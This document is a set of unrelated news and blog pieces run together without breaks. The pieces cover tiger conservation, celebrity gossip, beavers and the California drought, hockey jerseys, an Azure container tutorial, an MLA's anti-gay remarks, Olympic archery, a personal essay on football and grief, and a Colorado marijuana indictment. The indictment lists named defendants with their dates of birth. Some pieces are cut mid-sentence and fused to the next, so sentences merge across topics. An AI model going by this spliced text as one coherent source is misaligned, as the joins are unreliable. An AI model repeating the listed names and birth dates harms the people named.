"The stakes continue to be great and tigers remain at risk of global loss," conservationist Luke Dollar, who manages the Big Cats Initiative, recently told National Geographic.
A 1-800 Number That Helps Animals and Humans Coexist Watch how conflicts between people and wildlife can be reduced.
Machli contributed to the future of her species by giving birth to 11 cubs over the years, whose offspring live on in the park. A ceremony was held by officials to mark her passing.
"Individuals are important to engage the public, but the fate of tigers rests on healthy populations that are able to breed and disperse," says Karanth.Erica Lancellotti is Ryan Seacrest's Secret Girlfriend (Photos)
Erica Lancellotti
is off the market? Say it ain't so! First the news that Matthew McConaughey is going to be a dad, and now I find out Ryan Seacrest has a secret girlfriend named. Pretty soon ALL my future ex husbands will be off the market. What's a girl to do?
Oh, I almost forgot...this is not about me. It's about Erica Lancellotti. That's the girl who is supposedly American Idol host Ryan Seacrest's girlfriend. She's a bartender in NYC, and owns a company called BarCandy, which is apparently some big deal, and the premier bartending service in New York. Whatever.
Anyway, it seems Ryan and Erica were at Nello restaurant in NYC on December 29, and were looking very romantic, holding hands, drinking champagne and laughing over dinner.
According to reports, Erica told In Touch magazine:
“We have been dating on and off for a few years,” she confides. “We met at the Wetbar of the W hotel in New York and the only thing that has kept us apart has been his busy schedule.” Asked about her exact role in Ryan’s like, Erica responded, “What surprised me most was when we were at Nello and someone asked who I was, and he said I was his girlfriend.” How does Erica feel about her new title? “He’s a great guy and I love him.”
Yeah, whatever. I don't care. Really.
The photo above is reportedly of Erica Lancellotti. There are more photos below.
This is a photo from the contact page of BarCandy.
Ryan briefly dated Desperate Housewives' Terri HatcherCan beavers help us out in L.A. County? (Photo by Sylvie Bouchard via Shutterstock)
In the midst of the devastating Californian drought, one woman is proposing that we reintroduce beavers to L.A. County to mitigate our water problem.
A couple of weeks ago, Britt Sheflin, a 37-year-old private chef for software startup company Oblong Industries, submitted her beaver campaign to GOOD Maker—a platform for social action—as one of the over 70 proposal entries for its "LA is the Best Place to Live" competition. The challenge encourages people to submit ideas, projects or programs that would make L.A. the best place to live today and in 2050. Voting for the competition ends on Nov. 3, and the winner will receive $100,000 to work on their project.
Sheflin's plan is to reintroduce the North American Beaver (a.k.a. castor canadensis) to "to key areas where we need to control drought, flash floods, and further loss of fish and wildlife habitat," she writes on GOOD. Sheflin suggests that the ways these "hydro-engineers" could benefit L.A. County includes "intensive water filtration, drought'savings accounts' created by the deep, topographically varied ponds, and naturally rich soil that is dispersed throughout regions where beaver reside."
If she wins this challenge, she would use the money to conduct research, work to advocate with policymakers, manage the project, and bring people who have handled the beavers on board.
Sheflin first heard about the beaver reintroduction program on NPR while driving to work one day, and that launched her interest in researching more about it, she tells LAist. She says she grew up in Alaska where there are a lot of beavers, so she's familiar with beaver habitats and how they can affect an area. This idea came to mind also because of her daughter.
"My sweetheart and I have a 15 month old daughter, and I think a lot about her future," Sheflin says. "One of the things that really got me to understand how important it is to reintroduce beaver as soon as possible, was trying to imagine her future as an adult with millions more people in Southern California and no other viable solutions to our water ecology.
"Another big factor in my thought process was the fact that my grandfather was a game warden in OC back in the '50s. There weren't wildlife rescue centers anywhere near there back then, so it fell on the game wardens to take care of the sick and injured animals. There are wonderful family photos of my dad and his siblings playing in their backyard with the deer, hawks, eagles, and other wildlife rescues. We have lost so much habitat since then! I feel that it is incumbent upon us to solve the water and land issues we face."
The flat-tailed, bucktoothed animals once thrived in North America, until their population drastically dropped in the 1930s, mostly due to fur trapping, according to the New York Times. Others saw them as rodents and pests, especially to landowners and developers, leading to them destroying the beavers' dams. The animals used to play a major role in hydrological systems. "The valleys were filled with dams, as many as one every hundred yards," Jeff Burrell, a scientist with the Wildlife Conservation Society in Bozeman, Montana, told the Times. "They were pretty much continuous wetlands."
Beavers chewing on branches in a river (Photo by Piotr Kamionka via Shutterstock)
Researchers see the benefits of the beavers, especially in regards to restoring the salmon population and bringing in drought resilience to the landscape. "Beavers aren’t actually creating more water, but they are altering how it flows, which creates benefits through the ecosystem," Michael Pollock, an ecosystems analyst and beaver specialist at the National Marine Fisheries Service Northwest Science Center, tells Water Deeply, a news website about California's drought.
According to Water Deeply:
By gnawing down trees and building dams, beavers create small reservoirs. What follows, scientists say, is a series of trickle-down benefits: The water that might otherwise have raced downstream to the sea, tearing apart creek gullies and washing away fish, instead gets holed up for months behind the jumbles of twigs and branches. In this cool, calm water, fish — like juvenile salmon — thrive. Meanwhile, the water percolates slowly into the ground, recharging near-surface aquifers and keeping soils hydrated through the dry season.
Not everyone is convinced that beavers can solve our water problems. Kevin Shaffer, a fisheries biologist with the California Department of Fish and Wildlife, told Water Deeply that although he believes beavers can temporarily help out in a watershed that hasn't had rainfall in some time, but in the long term, they can't correct the areas that have long-term drought or climate change. They may not be able to help out a seriously stressed environment, or may even get into conflicts with humans, in terms of them taking over properties and trees that could fall into roadways.
"As the drought gets worse, their ponds will dry up and the animals will just move somewhere else," he says. "They won't stay because there is no more water."
Julian D. Olden, an ecologist at the University of Washington, has studied new beaver ponds in Arizona, finding that invasive fish took over these ponds, displacing the native species. "There’s a lot of unknowns before we can say what the return of beavers means for these arid ecosystems," he said. "The assumption is it’s going to be good in all situations," he told the Times. "But the jury is still out, and it’s going to take a couple of decades."
However, bringing beavers back into an environment has had some positive effects. Over in Methow Valley Ranger District of the Okanogan-Wenatchee National Forest in north central Washington State, U.S. Forest Service biologists have spent the last eight years reintroducing beavers to streams where they once lived. From 2008 to March 2015, 240 beavers have been relocated to 51 sites in Washington, NBC News reports. "By moving beavers higher up in the watershed, it enables them to store water. It will decrease water temperatures and help restore complexity to our streams," Heide Andersen, a Methow Conservancy Stewardship Director said in a video interview, which can be seen below. Pollock told NBC News that it's cost effective as well, "citing a study that found that using beavers costs a fraction as much as conventional stream restoration."
Sheflin also refers to the the beavers in Martinez, California as an example of a successful watershed program involving beavers. Back in 2008, a family of beavers began living in the area's Alhambra Creek, according to Bay Nature magazine. While some were afraid the beavers would cause flooding and wanted them out of the area, the City Council voted to let them stay. Since then the beavers have helped create habitats for other species, and keep a healthy watershed.
Voting for the Good Maker challenge ends on Nov. 3 at 12 p.m. PDT. If you want to vote for Sheflin's bring back the beaver proposal, visit this website.2014 Olympic jerseys
2010 Olympic jersey
(Update October 13)
Above is a jersey that was listed as an alternate for Team USA. This jersey is a lighter shade of blue than the previous jersey we saw. The USA now runs diagonally down the front and has a red and blue drop shadow. The unique sublimation on the arms that we saw before remains on this jersey. It has also been brought to our attention that the jerseys will go on sale November 1st. Above is a jersey that was listed as an alternate for Team USA. This jersey is a lighter shade of blue than the previous jersey we saw. The USA now runs diagonally down the front and has a red and blue drop shadow. The unique sublimation on the arms that we saw before remains on this jersey. It has also been brought to our attention that the jerseys will go on sale November 1st.
It appears that the blue jersey that Team USA will wear at the 2018 Olympics in South Korea was leaked...by Team USA.A HJC reader, Geoff sent us a link (that has since been taken down) which directed you to a product called "USA Hockey Nike 2018 Replica Personalized Jersey". Due to the link no longer being active I would lean towards this being the actual jersey that will be worn at the 2018 Olympics in South Korea. The lack of the USA Hockey logo and the inclusion of the 2014 USA Olympic logo also lend credibility to this leak.The jersey is mostly blue and features a white USA across the chest as well as the Nike logo in silver. Nike's logo also seems to be textured, similar to the way Adidas added texture to the NHL shield on those jerseys. On the arms is a unique design which certainly will be the focal point of this sweater.Now we wait to see when the actual release of this jersey comes from USA hockey. If they were preparing the page to sell replicas I would expect an announcement soon.Below is a look at the two previous blue jerseys that Team USA has worn since the IOC started enforcing the rule that non-approved corporate logos could not be worn during the games.In Episode 115 of the Microsoft Cloud Show we interviewed Ross Gardler from Microsoft about their new Azure Container Service which is currently in preview. I finally got some time a few weeks ago to play with ACS and thought I would share my first experiences here. This is my 0 to first container experience.
Currently ACS allows you to provision 2 types of container service. Either a Mesos based deployment or a Swarm one. I hadn’t played with Meso much so opted to try that out.
Getting started
Note: I followed the getting started guide for deploying a new container service on the Azure website.
To get started its as simple as clicking a “Deploy to Azure” button on the pre-canned Azure template. This will take you to your Azure management console where you can configure the various parameters for this template as shown below.
You need to name your cluster, pick the VM size for the nodes you want to run and set authentication details. The toughest part of this for most people will be generating the SSH keys as this is pretty foreign to many Windows folks. But they provide a fairly simple walkthrough for you to create a key pair.
When complete you hit OK and go get a coffee while your cluster is deployed 🙂 It can take a while as it spins up a few machines and configures everything.
Note: I got an error “\”The subscription is not registered to use namespace ‘Microsoft.Compute’.” during deployment the first time. I was deploying into a new MSDN Azure Subscription with free credit on it. Turns out I needed to manually create a VM in this subscription first (any VM will do) before deployment of a template would work. Once I had done this the template deployed fine.
I deployed a pretty simple cluster with 2 agent nodes and a mesos master node. In Azure you can see all the resources the template created in a new resource group such as the VMs, networks and security groups etc…
Now I had a cluster up and running I could log into Mesos. To find the URL click “Succeeded” on the resource groups deployment status and click “Microsoft.Template”. You should see a couple of fully qualified domain names.
To actually hit Meso you need to create an SSH tunnel from your box into the cluster. There is a decent write up on how to do this here.
Once you have your SSH tunnel running you can hit the Mesos web interface on http://localhost/mesos/ (this is redirected over the SSH tunnel to your meso box running in Azure).
Now you are ready to start running things! Hit http://localhost/marathon/ to open the Marathon web UI which makes it pretty simple to run jobs on your cluster.
Click create and give it a name, 256MB and 1 instance. Open the Docker container settings and specify “yeasy\simple-web” as the image name. Then in the Optional Settings area set Port = 80. This will map port 80 in the docker container to port 80 on the host. Create the app and let it spin up. You should see it in the UI similar to this:
Grab your load balancers fully qualified domain name from the Azure portal. It’s the AGENTFQDN url in the deployment details you found earlier.
You should be able to hit that URL and see your simple website running!
Summary
This is obviously only the most basic thing you can do with a Meso based cluster running in Azure, but was my attempt and seeing how Azure are approaching the setup. All in all it was surprisingly painless.
The goal of ACS right now so it make it simple to run a docker cluster in Azure using either Mesos or Swarm. It doesn’t take away the need to manage that cluster in Azure once its deployed, so you will need people who know how to run a Mesos cluster and feed and water it appropriately. Deployment is step one, but running it is a different beast all together from what I understand. I am no expert in this area and so you will want to tread carefully and make sure you have the appropriate skills on staff to do this.
I for one would LOVE to see Azure also add as Container as a Service (CaaS) offering where you just specify how much compute you want, how much memory etc… and then have Azure spin up and manage a Docker cluster for you with the infrastructure being invisible. This way you don’t need to be a Mesos master and you can let the pros run it for you.
I think CaaS is the final destination for Docker … just prior to everyone starting to espouse the virtues of true Platform as a Service (PaaS) and ditching this whole concept of apps running in containers and being aware of the OS at all.
When true CaaS comes to fruition, like it think it will in time, maybe Ray Ozzie (inventor of Azure, codename Red Dog) can all say “told ya so” about his vision of Platform as a Service being the ultimate destination for cloud computing (but being about 10 years too early).A RETIRED schoolteacher has blasted a local MLA as “stupid” after he told dozens of pupils that homosexuality is “an abomination” during a NI Assembly ‘Let’s Talk’ event last week.
By Simon Curran & Sean McAnespy (Omagh CBS)
A RETIRED schoolteacher has blasted a local MLA as “stupid” after he told dozens of pupils that homosexuality is “an abomination” during a NI Assembly ‘Let’s Talk’ event last week.
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Tom Buchanan, West Tyrone DUP MLA, was responding to a question from an Omagh CBS pupil who asked the panel of politicians to outline their views on homosexuality and marriage equality.
Mr Buchanan’s response that homosexuality “isn’t right” and is “an abomination” sparked a buzz within the room, with some pupils applauding the MLA’s views whilst the majority voiced their disapproval.
Reacting to Mr Buchanan’s comments, retired schoolteacher and gay rights activist, Stephen Birkett, from Strabane, said, “People like this live in the dark ages. These sort of remarks to schoolchildren are stupid and annoying and obviously he (Buchanan) has no concept of what people are really like.”
The discussion, which was held at the Westville Hotel in Enniskillen, allowed 130 pupils from schools across Tyrone and Fermanagh to have their queries and concerns answered at first hand by MLAs from a range of political parties.
The panel included West Tyrone MLAs Ross Hussey (UUP), Joe Byrne (SDLP), Tom Buchanan (DUP) and Sinn Féin Fermanagh/South Tyrone MLA, Phil Flanagan.
The event excelled in the sense that key concerns and issues had been voiced by the pupils, with opinionated responses causing divides between pupils and the panel.
DAMNING CONDEMNATION
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However, no response created a stir in the room like Mr Buchanan’s damning condemnation of homosexuality.
In contrast, Sinn Fein’s Phil Flanagan expressed a liberal stance, while Ross Hussey and Joe Byrne were diplomatic in their responses.
Other opinions were conveyed by polls and statistics, raising alarming questions on Northern Ireland’s future and what needs to be achieved in order to improve the state of youth in Northern Ireland.
One particular statistic which stood out was the fact that 68 per-cent of pupils in the room knew somebody who had been thinking about suicide. This disquieting statistic compelled a deafening silence throughout the room, shocking both pupils and MLAs.
Other polls revealed that 70 per-cent of pupils planned on moving away from Northern Ireland within ten years, and that 92 per-cent of pupils believed that today’s Northern Irish politicians are incompetent.
The polling system was also used to determine the favourable parties among the youths attending.
In the final poll Sinn Féin had the largest percentage voting for them while the DUP came second. Both the SDLP and the UUP recorded an equal percentage in third place.
The event also gave the pupils an opportunity to grill some of the politicians in smaller groups. This allowed the pupils to ask questions about the lives of politicians and how to become involved.
Some of these politicians included Basil McCrea of the NI21 party, Sinn Féin’s Barry McElduff and the UUP’s Lord Maurice Morrow.
The pupils attending the event considered it a success as it gave them a unique insight into some of the politicians who may represent them in the future.Marica (Brazil): India's archery team are the first sporting contingent from the nation to check in as they've landed in Brazil about four weeks ahead of the Olympics to get acclimatised with the conditions ahead of 5-21 August quadrennial extravaganza.
The four-member team along with the support staff have made their base in coastal city of Marica, about 50km southeast from the state capital Rio de Janeiro. They will train in Marica, till 22 July, before shifting to Centro, in the close proximity of archery venue in Sambodromo.
Having failed at the 2012 London Olympics after a hyped build-up, the focus this time is to remain "distraction free" and their day starts with a session of yoga followed by shooting at the training centre in Marica.
"My phone will be off till the Games is over, we are not allowed to talk during the training," an archer said.
Giving an update about team's progress, India's head coach Dharmendra Tiwari told PTI: "The weather is pleasant, it's less windy and temperature drops a bit at night. So far we have had three sessions, including one under lights".
India will be competing in three medal disciplines -- both team and individuals for the three-member women's team of Deepika Kumari, Laxmirani Majhi and Bombayla Devi Laishram.
Atanu Das will fight in the men's individual as the team has failed to qualify.
India have a strong medal hope from the women's team and also there's a lot of expectation from former World number one Deepika during their competition from 5-12 August.
Few of the individual matches will be held under lights but Tiwari said it would not a big concern as team matches would be held as usual.
"Depending on the draw, four matches will be under lights. We may not have to play a single matches under lights.
But we're prepared."
The archery venue in Sambodromo will be open from July 24 as they will shift their base to Centro after 10 days.
Firstpost is now on WhatsApp. For the latest analysis, commentary and news updates, sign up for our WhatsApp services. Just go to Firstpost.com/Whatsapp and hit the Subscribe button.Hunter S. Thompson wrote "Football Season Is Over" at the top of his suicide note. The end of football season was, for him, a convenient time to check out of life via gunshot. It is not hard to understand why: looking out the window in February, when the whistle has sounded and big men pour into physical rehab or the bars for the winter, is bleak as hell's backyard no matter where you are. Up north there is snow, more snow, and grey cottony skies blocking the sun for months at a time. Down south the trees spit their leaves, and half of the mid-South looks like the back of a porcupine's ass. In Florida, the snow birds pace the sidewalks like bedraggled death-herons lurching from one cafeteria to the next. It may be the most macabre of all scenarios, but you wouldn't believe it until you see it.
You don't believe many things until you see them, because people remain visual learners. For instance, You won't believe that you can lose that game, and there the score sits in indisputable yellow lights on the scoreboard. You won't believe now that in four months you will sit at the window and see it all happen all over again and then find yourself staring at the metaphorical piece of paper reading: Football season is over. Camus stated that all reasonable men consider their own suicide. I'm not saying I think it is a noble decision in his case, or in any others.
If I were going to understand it, though? That first Saturday morning without football would be the day to do that.
My grandfather died in February. He looked like Bill Clinton crossed with Shrek. Personality-wise, he was more of the latter and the former, and in a good way. He liked to cook country ham on a hot plate on his sealed concrete patio. He tended a terraced garden big enough to feed a family and regarded squirrels with a hatred bordering on the pathological. He would take me out in his shed--a mini-house across the creek in the back of the property with wood-burning stove, radio tuned to WSM radio, and a hundred well-oiled tools hanging on the wall--and just sit there occasionally telling me stories while he fed split wood into the belly of the stove.
He was usually sipping on coffee during these chill sessions. Later, after his death, we would find whiskey bottles stashed all over that shed. I did not lick a taste for stimulants mixed with alcohol off the grass.
He was one of the first people I can remember telling me anything definite about football. My grandparents owned a Magnavox. They don't even make these anymore, and by they I mean "Americans who made televisions," a rare breed of people that existed before we collectively acknowledged the universal truths of international existence: that Asians make killer electronics, that Germans make face-ripping cars, and that we do best when just sit back and kind of improv like the brilliant bullshitting nation we are.
It was huge, and made a supernatural humming noise when you turned it on. For a time as a child, i believed televisions in wooden casings made to look like distinguished furniture could only pick up three types of programming: Hee-Haw, Gunsmoke, and Barnaby Jones. My grandfather seemed to live off pork products, black coffee, and those three television shows. He got vitamins from them, and were an important part of his balanced diet.
It shocked me one day when football came on the television and shattered my beliefs about the receiving abilities of wooden-based television arrangements. Vanderbilt was playing Tennessee. I was maybe eight years old at the time. Tennessee scored off a short TD run. My grandfather made a displeased grunt from somewhere in his enormous lantern-sized head, the same one that totters on my neck like a bowling ball taped to a gameday shaker.
"What's wrong, Gran-gran?"
"I'm thinking Tennessee's a little bit more physically equipped than Vanderbilt is." *
*He really did have this Foghorn Leghorn kind of diction. I thought I was making it up for comic effect until I watched an old video of a Christmas at their house and, in receiving a coffee thermos from his daughter, said he first wanted one when "your husband opened it in the car, and things smelled good, so I had to nose around the car and investigate where the smell was coming from." If anything, it was bigger and more exaggerated in real life.
"Are we pulling for Tennessee?"
"No, Spencer. We can't do that."
"Why?"
"We just don't. You can't cheer for Tennessee. We don't do that in Nashville."
"Can I cheer for Vandy."
"You can cheer for Vandy, but you can't pull for ol' Tennessee."
"Got it."
Cancer would eventually kill him, and not in the gradual, graceful soft-focus way movies about people dying young always have cancer doing its work. Cancer moved in, set his lymphatic system on fire, and then set to work on his brain. Toward the end of his life he told lies about his habits, extravagant, uncharacteristic lies about where he'd been, why he'd been saying strange things, or even where he got the Totes hat we'd given him for Christmas a month earlier. ("I got it from my friend the Jamaican sea captain!")
When he was buried, on a day in February when the rolling scroll of hills around Nashville did look like the back of an elderly hedgehog, I thought about relatively few things. I remembered that my cousin farted, and farted quite loudly on the stairs at the funeral home. The stairs acted as an amplifier, a kind of woofer for the frequency booming out his flatulence through the entire visitation. It remains one of the most spectacular bits of farting greatness I have ever seen.
I also remember thinking about what I learned from him. He sucked the marrow from chicken bones, because anything less than total consumption of the whole bird was wasteful. He laughed at himself in all situations even when he ripped his driver's side door off backing down the driveway. He wore two pairs of pants in retirement and kept one special for holidays. And he did not, for any reason, ever root for the University of Tennessee, even dead and being lowered into the ground wearing a strange suit I had never seen before.
My son was born in February. The timing was intentional, and not just for football. Pregnant women, being literal ovens of human bakery, hum along at an even 300 degrees Fahrenheit, and my wife thought better of attempting to carry a human pizza oven through the heat of an Atlanta summer. Instead, he came in the month without football when the weather was cold enough that, on good nights, she needed a single sheet over her to stay warm while I froze under three blankets. She didn't need to have a baby in summer: she carried the season with her in bold disregard for the calendar's conventions.
She reclined on the bed and slept for a while. In terms of labor, we got off easy: a late induction, eight hours of pure, hellacious suck, and then the epidural that landed her sleeping on the bed during the break. If you've been in a hospital overnight, you know it floats in its own plane of existence. No one walks the halls. The sound of intermittent moaning and murmuring nurses break the slience. Sleep deprivation makes the sound of the ice machine spitting fresh cubes into the bin seem like a crashing omen of bad, uncontrollable things. In the room, machines beep and whirr in rhythm.
On the street outside in downtown Atlanta, I watch one guy in two hours walk down the sidewalk, a tall, wispy man dragging a ragged piece of rolling, wobbling luggage so pitiful a more loving owner would have shot it. The wife slept on. Sitting on the couch I felt like Michael Collins in the Apollo 11 command module, staring out the window at a howling nothing and time that wouldn't move fast enough for me, death, or birth. In the middle of the night in a hospital everyone's alone no matter how many people are there.
In the morning, there was one more person in the room than there was |
all over the world to have their photographs taken with.
Commissioned by the Roisin Dubh Trust, which commemorates the life and music of Phil Lynott, the statue was unveiled by Philomena Lynott and the then Lord Mayor of Dublin, Catherine Byrne, in 2005 in front of hundreds of Thin Lizzy fans.
Plinth
The statue by Paul Daly sustained two serious cracks when it was knocked from its plinth in the early morning of May 10.
The following day, two men in their 20s were arrested by gardai after they presented themselves at Pearse Street Garda Station.
A file is now being prepared for the Director of Public Prosecutions.
hnews@herald.ieFlorida's Supreme Court is being asked to weigh in on solar energy.
Attorney General Pam Bondi, along with the state's largest utilities and some influential business groups, wants the court to block a proposed solar-energy ballot initiative.
"The proposed amendment fails in several respects to meet basic standards that are intended to protect voters from being misled or confused," Florida Power & Light said in a statement. "Indeed, the amendment's language is largely unclear, but one thing is certain: It would amount to an unprecedented constitutional ban on consumer protection."
The amendment would allow businesses to sell up to two megawatts of power to customers on the same or neighboring properties. It would appear on the November 2016 ballot.
Right now, utility companies are the only ones that can sell excess solar power in Florida.
"If they could sell it to their neighbor, the neighbor would get a cheaper power bill and the user who put the panels in would have the benefit of another income stream," said Doug McRee, president of First Housing in Tampa.
Spencer Sommer decided go to solar six years ago and says the decision has saved him a lot of money. All he pays is a $15 service charge to TECO each month.
"You know, it's a no-brainer. You know you're helping the environment and you're saving money," Sommer said. "What more can you ask for? It's a win-win situation."
However, critics of the initiative have argued the potential change could mean higher utility prices for low-income customers.
The Florida Supreme Court is scheduled to hear arguments Sept. 1 about whether the initiative should go before voters. If the court allows it, supporters will have to submit nearly 700,000 petition signatures to get the measure on the ballot.DENVER — The largest illegal pot ring since Colorado legalized marijuana has been dismantled, federal, state and local law enforcement officials said in a Wednesday announcement.
The bust — dubbed operation Toker Poker — includes 62 individual people and 12 businesses, leading to 74 indictments. Those businesses and individuals were located in Colorado, and according to law enforcement officials, were laundering millions of dollars and creating an illicit pot empire across a host of states.
(The people charged and the crimes they are charged with can be seen toward the end of this story. Click here to read the indictment. )
Officials from the Drug Enforcement Agency said the investigation spanned 40 states and included up to thousands of law enforcement officers, but the Colorado Attorney General Cynthia Coffman said the ring directly operated in and impacted Kansas, Texas, Nebraska, Ohio and Oklahoma, as well as Colorado.
“We stand here today to send a message…we will not tolerate the illegal marijuana market in Colorado," DEA officials said.
PHOTOS | See all 62 people who were indicted in the bust here.
The massive investigation began in 2014 when police in Denver received an anonymous tip that seemed like an unusual complaint, according to Denver Police Department officials.
Hundreds of officers in Colorado across multiple counties and agencies were eventually roped into the investigation, which led to three major busts, in March and May of 2016, and another bust in January of 2017. Nearly 150 search warrants were executed over 11 months, from March 2016 to February 2017.
The grow-houses and storage facilities included 18 warehouses and storage units, and 33 homes along the Front Range. A Castle Rock business, Grofax South, was also allegedly involved in the ring.
Through the busts, police arrested 43 people, but 19 suspects are still outstanding. Law enforcement agents seized closed to 2,600 illegal marijuana plants and 4,000 pounds of marijuana, but authorities believe there was much more.
"These seizures are believed to only scratch the surface of the amount of illegal drugs produced by this organization," the Colorado Attorney General's Office said.
As the bust was investigated, officials say they learned the group attempted to influence public officials and defrauded investors, including former Denver Broncos players Erik Pears and Joel Dreessen. The investors reportedly thought they were investing in legitimate pot growers.
The Colorado Attorney General’s Office says the interstate ring stretch from Colorado to Texas, and that those involved laundered millions of dollars in illegal drug money.
The attorney general says the alleged traffickers used now-closed loopholes in state law. As caregivers for medical marijuana patients, property managers for marijuana growers, and small business owners, those accused were able to mask their illegal marijuana ring.
The alleged defrauding of the Broncos players and other businesspeople and friends of those accused happened as the alleged criminals told them their investments would be for state-licensed grow facilities.
"The black market is continuing to flourish in Colorado alongside legal operations," Denver Police officials said. "There are drug trafficking organizations that don't just operate in the shadows, they operate in plain sight."
All of the defendants in the case face two charges: violation of the Colorado Organized Crime Control Act – Pattern of Racketeering – Participation in Enterprise; and Violation of the Colorado Organized Crime Control Act – Conspiracy/Endeavoring.
But there are 35 total various charges that the defendants face:
1. Violation of the Colorado Organized Crime Control Act – Pattern of Racketeering- Participation in Enterprise, §18-17-104(3) and §18-17-105, C.R.S. (F2) 37284
2. Violation of the Colorado Organized Crime Control Act – Conspiracy/Endeavoring, §18-17-104(4), C.R.S. (F2) 37285
3. Violation of the Colorado Organized Crime Control Act – Pattern of Racketeering – Acquire Interest in Enterprise, §18-17-104(2) C.R.S. (F2) 37283
4. Cultivation of Marijuana, More than Thirty Plants, C.R.S. §18-18- 406(3)(A)(I), C.R.S. (DF3) 8803A
5. Conspiracy to Commit Cultivation of Marijuana, More than Thirty Plants §18-18-406(3)(A)(I) and §18-2-201, C.R.S. (DF4) CON
6. Distribution Of Marijuana (50 LBS) or Marijuana Concentrate (25 LBS), §18-18-406(2)(B)(I),(III)(A), C.R.S. (DF1) 8802P
7. Possession with Intent to Manufacture or Distribute Marijuana (50 LBS) or Marijuana Concentrate (25 LBS), §18-18-406(2)(B)(I),(III)(A), C.R.S. (DF1) 8802U
8. Conspiracy to Distribute, or Possess with Intent to Manufacture or Distribute, Marijuana – (50 LBS) or Marijuana Concentrate (25LBS), §18-18-406(2)(B)(I),(III)(A), C.R.S. (DF1) 8802Z
9. Money Laundering – Conduct Financial Transaction with Intent to Promote Crime, §18-5-309(1)(A)(I), C.R.S. (F3) 12211
10. Conspiracy to Commit Money Laundering – Conduct Financial Transaction with Intent to Promote Crime, §18-5-309(1)(A)(I) and §18-2- 201, C.R.S. (F4) CON
11. Money Laundering –Financial Transaction To Conceal or Disguise Nature or Avoid Reporting, §18-5-309(1)(A)(II), C.R.S. (F3) 12212
12. Conspiracy to Commit Money Laundering –Financial Transaction To Conceal or Disguise Nature or Avoid Reporting, §18-5-309(1)(A)(II) and §18-2-201, C.R.S. (F4) CON
13. Money Laundering – Transfer Monetary Instrument with Intent to Promote Crime, §18-5-309(1)(B)(I), C.R.S. (F3) 12213
14. Conspiracy to Commit Money Laundering – Transfer Monetary Instrument with Intent to Promote Crime, §18-5-309(1)(B)(I) and §18-2- 201, C.R.S. (F4) CON
15. Money Laundering – Transfer Monetary Instrument to Conceal or Disguise or Avoid Reporting, §18-5-309(1)(B)(II), C.R.S. (F3) 12214
16. Conspiracy to Commit Money Laundering – Transfer Monetary Instrument to Conceal or Disguise or Avoid Reporting, §18-5- 309(1)(B)(II) and §18-2-201, C.R.S. (F4) CON
17. Money Laundering – Financial Transaction Involving Proceeds, §18-5- 309(1)(C), C.R.S. (F3) 12215
18. Conspiracy to Commit Money Laundering – Financial Transaction Involving Proceeds, §18-5-309(1)(C) and §18-2-201, C.R.S. (F4) CON
19. Keeping Property for Unlawful Distribution of Controlled Substances, §18-18-411(1), C.R.S. (DM1) 33514
20. Maintaining Property For Unlawful Manufacturing Of Controlled Substances, §18-18-411(2)(a), C.R.S. (DM1) 33515
21. Managing or Controlling Property for Manufacture of Controlled Substances, §18-18-411(2)(B), C.R.S. (DM1) 35516
22. Evasion of Taxes Administered by the Colorado Department of Revenue, §39-21-118(1), C.R.S. (F5) 40021
23. Conspiracy to Commit Evasion of Taxes Administered by the Colorado Department of Revenue, §39-21-118(1) and §18-2-201, C.R.S. (F6) CON
24. Failure to File Return or Pay Tax, §39-21-118(3), C.R.S. (M) 40023
25. Filing a False Tax Return, §39-21-118(4), C.R.S. (F5) 40024
26. Forgery, § 18-5-102(1)(C), C.R.S. (F5) 1001C
27. Theft - $100,000 - $1,000,000, §18-4-401(1),(2)(i), C.R.S. (F3) 08A16
28. Attempt To Influence A Public Servant, §18-8-306, C.R.S. (F4) 24051
29. Forgery, § 18-5-102(1)(C), C.R.S. (F5) 1001C
30. Theft - $100,000 - $1,000,000, §18-4-401(1),(2)(i), C.R.S. (F3) 08A16
31. Forgery, § 18-5-102(1)(C), C.R.S. (F5) 1001C
32. Theft - $100,000 - $1,000,000, §18-4-401(1),(2)(i), C.R.S. (F3) 08A16
33. Attempt To Influence A Public Servant, §18-8-306, C.R.S. (F4) 24051
34. Attempt To Influence A Public Servant, §18-8-306, C.R.S. (F4) 24051
35. Securities Fraud – Untrue Statement or Omission, C.R.S. §11-51- 501(1)(b) (F3) 50052
The following people and businesses face the following charges (DOB in parentheses, followed by charge numbers referenced above):
· Aaron Baca (5/17/85) Counts 1-25, 31, 32, 34
· Lucas Belmont (5/18/80) Counts 1-10, 13, 14, 17-24
· Connor Brooks (9/13/86) Counts 1-24, 29, 30, 35
· Scott Brooks (6/24/54) Counts 1, 2, 4-23
· Ryan Campbell (3/29/86) Counts 1, 2, 4-24
· Bradley Coley (1/3/86) Counts 1, 2, 4-8, 19-21
· Michael W. Conner (DOB not listed) 1, 2, 6-8, 15, 16, 19-21
· Gregory Cross (8/26/83) – Counts 1, 2, 4-8, 19-21
· Nelson Cuellar (5/14/63) Counts 1, 2, 4-24
· Timothy Dowdell (3/31/86) Counts 1, 2, 4-8, 19-21
· Matthew Scott Even (3/7/87) – Counts 1-23
· Israel Garcia (2/23/89) – Counts 1, 2, 6-8, 19-21
· Nicholas Gyori (6/10/90) – Counts 1, 2, 4-8, 19-21
· Justin Hanson (11/21/81) – Counts 1, 2, 6-8, 15, 16, 19-21
· Daniel Harthurn (5/21/81) – Counts 1, 2, 6-10, 13-23
· Cameron Henage (11/19/87) – Counts 1, 2, 4-10, 13, 14, 17-23
· James Higgins (5/31/93) – Counts 1, 2, 4-8, 19-21
· Huston Hulse (12/13/89) – Counts 1, 2, 4-10, 13, 14, 17-23
· Brian Hunt (9/26/83) – Counts 1, 2, 4-8, 19-21
· Matthew Hvizdda (11/29/89) – Counts 1, 2, 4-10, 13, 14, 17-23
· Jared Jacobsen (11/18/88) – Counts 1, 2, 4-8, 19-21
· Hiarui Jiang (1/2/65) – Counts 1, 2, 4-23
· Zhen Zhen Jiang (11/14/52) – Counts 1, 2, 4-10, 13, 14, 17-23
· Christian Jones (3/16/09) – Counts 1, 2, 6-8, 15, 16, 19-21
· Christen Kozer (11/19/87) – Counts 1, 2, 4-23
· Jonathan Crystal Lee (1/4/85) – Counts 1-23
· Richard Littler (11/23/77) – Counts 1, 2, 4-8, 19-21
· Kevin Marquez (9/10/86) – Counts 1, 2, 4-10, 13, 14, 17-23
· Gregory McBride (7/24/76) – Counts 1, 2, 6-8, 15, 16
· Lady Oak Moskowitz (9/1/55) – Counts 1, 2, 4-10, 13, 14, 17-23
· Xian Meunsy (10/10/68) – Counts 1, 2, 4-10, 13, 14, 17-23
· John W. Orn (8/1/84) – Couts 1, 2, 4-23
· Jon Otonoga (6/28/70) – Counts 1, 2, 4-10, 13, 14, 17-23
